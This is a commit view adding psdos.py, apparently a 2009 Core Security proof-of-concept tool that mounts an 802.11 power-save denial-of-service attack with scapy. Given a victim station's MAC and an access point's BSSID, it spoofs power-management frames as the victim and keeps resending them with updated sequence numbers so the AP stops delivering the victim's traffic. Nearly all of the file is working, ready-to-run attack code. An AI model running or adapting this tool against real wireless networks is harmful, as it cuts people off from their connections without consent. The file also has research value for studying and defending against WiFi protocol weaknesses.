aboutsummaryrefslogtreecommitdiffstats
path: root/viensamoi/contrib/psdos.py
diff options
context:
space:
mode:
Diffstat (limited to '')
-rw-r--r--viensamoi/contrib/psdos.py229
1 files changed, 229 insertions, 0 deletions
diff --git a/viensamoi/contrib/psdos.py b/viensamoi/contrib/psdos.py
new file mode 100644
index 0000000..3405e99
--- /dev/null
+++ b/viensamoi/contrib/psdos.py
@@ -0,0 +1,229 @@
+# WiFi_Power_Save_DoS
+# from http://corelabs.coresecurity.com/index.php?module=Wiki&action=attachment&type=publication&page=WiFi_Power_Save_DoS&file=psdos.py
+
+# Copyright (c) 2009 Core Security Technologies
+#
+# Author: Leandro Meiners (lea@coresecurity.com)
+#
+# Permission to use, copy, modify, and distribute this software for any
+# purpose with or without fee is hereby granted, provided that the above
+# copyright notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
+#!/usr/bin/env python
+
+import sys
+import signal, os
+from scapy.config import *
+from scapy.layers.dot11 import *
+from scapy.utils import *
+conf.verb=0
+
+WIFI_MTU = 2346 # 802.11 maximum frame size is 2346 bytes (RFC 3580)
+MAX_SN = 4096 # Max value for the 802.11 sequence number
+MAX_FGNUM = 16 # Max value for the 802.11 fragment number field
+
+
+def waitForBeacon(bssid):
+ print "Waiting for Beacon from BSSID=[%s]" % bssid
+
+ beacon = False
+ #s = conf.L2listen()
+
+ while not beacon:
+ #p = s.recv(WIFI_MTU)
+ p = sniff(count=1)[0]
+ # check if beacon from the AP we want to connect to
+ if p.haslayer(Dot11Beacon) and (p.addr3 == bssid):
+ beacon = True
+ cap = p.cap # AP capabilities
+ l = p.getlayer(Dot11Elt)
+ while l:
+ if l.ID == 0: # SSID
+ ssid = l.info
+ if l.ID == 1: # rates
+ rates = l.info
+ l = l.payload
+
+ print "Beacon from BSSID=[%s] found (has SSID=[%s])" % (bssid, ssid)
+
+ #s.close()
+ return cap, ssid, rates
+
+
+def extractFragN(sc):
+ hexSC = '0' * (4 - len(hex(sc)[2:])) + hex(sc)[2:] # "normalize" to four digit hexadecimal number
+ fgnum = int(hexSC[-1:], 16)
+ return fgnum
+
+
+def extractSN(sc):
+ hexSC = '0' * (4 - len(hex(sc)[2:])) + hex(sc)[2:] # "normalize" to four digit hexadecimal number
+ sn = int(hexSC[:-1], 16)
+ return sn
+
+
+def calculateSC(sn, fgnum = 0):
+ if (fgnum > MAX_FGNUM): fgnum = 0
+ if (sn > MAX_SN): sn = 0
+ hexSN = hex(sn)[2:] + hex(fgnum)[2:]
+ SC = int(hexSN, 16)
+ return SC
+
+
+def sentPacket(p, bssid, station):
+ ret = (p.FCfield & 0x01 == 1) and (p.addr1 == bssid) and (p.addr2 == station) # FCfield & 0x01 checks to-DS
+ return ret
+
+
+def APsentPacket(p, bssid, station):
+ # FCfield & 0x00 checks STA to STA or management or control frame
+ ret = (p.FCfield & 0x00 == 0) and (p.addr1 == station) and (p.addr2 == bssid) and (p.addr3 == bssid)
+ return ret
+
+
+def receivedPacket(p, bssid, station):
+ ret = (p.FCfield & 0x01 == 1) and (p.addr1 == bssid) and (p.addr3 == station) # FCfield & 0x01 checks to-DS
+ return ret
+
+
+def forwardedSentPacket(p, bssid, station):
+ ret = (p.FCfield & 0x02 == 2) and (p.addr3 == station) and (p.addr2 == bssid) # FCfield & 0x02 checks from-DS
+ return ret
+
+
+def forwardedReceivedPacket(p, bssid, station):
+ ret = (p.FCfield & 0x02 == 2) and (p.addr1 == station) and (p.addr2 == bssid) # FCfield & 0x02 checks from-DS
+ return ret
+
+
+def signalHandler(signum, frame):
+ sys.exit(0)
+
+
+def printFrameTypes():
+ print "\tFrame type: reassoc | nullfunction | rts"
+ print "\treassoc = Reassociation request frame"
+ print "\tnullfunction = Null function (no data) frame"
+ print "\tRTS = Request-to-send frame"
+ print "\tprobereq = Probe request frame"
+
+
+def main():
+ if len(sys.argv) != 4 and len(sys.argv) != 5:
+ print "Usage: %s <interface> <station> <bssid> <frame type>" % sys.argv[0]
+ printFrameTypes()
+ sys.exit(1)
+
+ conf.iface = sys.argv[1]
+ station = sys.argv[2].lower()
+ bssid = sys.argv[3].lower()
+ if len(sys.argv) == 5:
+ frameType = sys.argv[4].lower()
+ if frameType != "reassoc" and frameType != "nullfunction" and frameType != "rts" and frameType != "probereq":
+ print "Incorrect frame type, valid values are:"
+ printFrameTypes()
+ sys.exit(1)
+ else:
+ frameType = 'nullfunction'
+ sn = 0
+ fgnum = 0
+ sc = calculateSC(sn)
+
+ print "Entering main while loop, press Ctrl-C to quit"
+ # main while loop
+ s = conf.L2listen()
+
+ #FIXME: Set duration on all frames
+
+ ack = Dot11(type = 'Control', subtype = 29, addr1 = bssid, FCfield="pw-mgt")
+ #SAVECAP:wrpcap("ack.cap", ack)
+
+ if frameType == "reassoc":
+ cap, ssid, rates = waitForBeacon(bssid)
+ frame = Dot11(addr1 = bssid, addr2 = station, addr3 = bssid, FCfield = "to-DS+pw-mgt", SC = sc)
+ frame = frame/Dot11ReassoReq(cap = cap, current_AP = bssid, listen_interval = 1)
+ frame = frame/Dot11Elt(ID = 0, info = ssid) # SSID information field
+ frame = frame/Dot11Elt(ID = 1, info = rates) # Rates information field
+
+ if frameType == "nullfunction":
+ frame = Dot11(type = 'Data', subtype = 4, addr1 = bssid, addr2 = station, addr3 = bssid, FCfield = "to-DS+pw-mgt", SC = sc, ID=20052)
+
+ if frameType == "rts":
+ frame = Dot11(type = 'Control', subtype = 11, addr1 = bssid, addr2 = station, FCfield = "to-DS+pw-mgt", SC = sc)
+
+ if frameType == "probereq":
+ cap, ssid, rates = waitForBeacon(bssid)
+ frame = Dot11(addr1 = bssid, addr2 = station, addr3 = bssid, FCfield = "to-DS+pw-mgt", SC = sc)/Dot11ProbeReq()
+ frame = frame/Dot11Elt(ID = 0, info = ssid) # SSID information field
+ frame = frame/Dot11Elt(ID = 1, info = rates) # Rates information field
+
+ #SAVECAP:wrpcap("frame.cap", frame)
+
+ sendp(frame)
+ print "Sent power save packet"
+ signal.signal(signal.SIGINT, signalHandler)
+
+ while True:
+ #p = s.recv(WIFI_MTU)
+ p = sniff(count=1)[0]
+ if p.haslayer(Dot11) and sentPacket(p, bssid, station) and p.FCfield & 0x03 == 0: # checks to see if frame sent has power bit unset
+ print "Station under attack is still sending packets"
+ print p.summary()
+ #fgnum = extractFragN(p.SC) # extracts fragment number from frame
+ sn = extractSN(p.SC) # extracts sequence number from frame
+ sn = (sn + 1) % MAX_SN
+ sc = calculateSC(sn) # our frame is not fragmented (i.e. fgnum = 0)
+ frame.SC = sc
+ sendp(frame)
+ print "Sent power save packet"
+
+ if p.haslayer(Dot11) and forwardedSentPacket(p, bssid, station):
+ print "Station under attack sent packets are being forwarded by the AP"
+ print p.summary()
+
+ if p.haslayer(Dot11) and receivedPacket(p, bssid, station):
+ print "Station under attack is having packets sent to it"
+ print p.summary()
+
+ if p.haslayer(Dot11) and APsentPacket(p, bssid, station):
+ print "Frame from AP to STA or STA to STA"
+ print p.summary()
+ if frameType == "probereq" and p.haslayer(Dot11ProbeResp):
+ # We must ACK this frame as it can be a response to our Probe request
+ print "Access point sent a Probe response, sending ACK"
+ sendp(ack)
+
+ elif frameType == "reassoc" and p.haslayer(Dot11ReassoResp):
+ # We must ACK this frame as it can be a response to our Reassociation request
+ print "Access point sent a Reassociation response, sending ACK"
+ sendp(ack)
+
+ if p.haslayer(Dot11) and forwardedReceivedPacket(p, bssid, station):
+ print "Station under attack is still receiving packets (forwarded by the AP)"
+ print p.summary()
+ #fgnum = extractFragN(p.SC) # extracts fragment number from frame
+ sn = extractSN(p.SC) # extracts sequence number from frame
+ sn = (sn + 1) % MAX_SN
+ sc = calculateSC(sn) # our frame is not fragmented (i.e. fgnum = 0)
+ frame.SC = sc
+ sendp(frame)
+ print "Sent power save packet"
+
+
+if __name__ == "__main__":
+ # Import Psyco if available
+ try:
+ import psyco
+ psyco.full()
+ except ImportError:
+ pass
+
+ main()